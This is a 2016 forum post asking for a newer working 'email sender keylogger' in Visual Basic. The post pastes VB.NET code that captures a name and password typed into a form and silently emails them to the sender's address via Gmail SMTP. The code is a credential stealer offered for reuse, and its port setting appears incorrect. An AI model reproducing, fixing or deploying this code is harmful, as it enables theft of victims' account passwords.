1. Welcome to PHCorner Forums. Take a moment to Sign up and gain unlimited access and extra privileges that guests are not entitled to, such as:

    All that and more! Registration is quick, simple and absolutely free. Join our community today!

Visual Basic help: email sender këÿlôggêr

Discussion in 'Coding, Programming' started by istantot, Mar 1, 2016.

  1. pa share naman po ng bagong code di na gumagana kasi ung mga old e tulad ng nito.

    Imports System.Net.Mail
    Public Class Form1
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

    Dim MyMailMessage As New MailMessage()
    Try
    MyMailMessage.From = New MailAddress("mail")
    MyMailMessage.To.Add("mail")
    MyMailMessage.Subject = "Log info"
    MyMailMessage.Body = "Name: " & TextBox1.Text & " / Pass: " & TextBox2.Text
    Dim SMTP As New SmtpClient("smtp.gmail.com")
    SMTP.Port = 8080
    SMTP.EnableSsl = True
    SMTP.Credentials = New System.Net.NetworkCredential("mail.com", "pass")
    SMTP.Send(MyMailMessage)
    Catch ex As Exception
    End Try
    End Sub
    End Class
     
Tags / Keywords: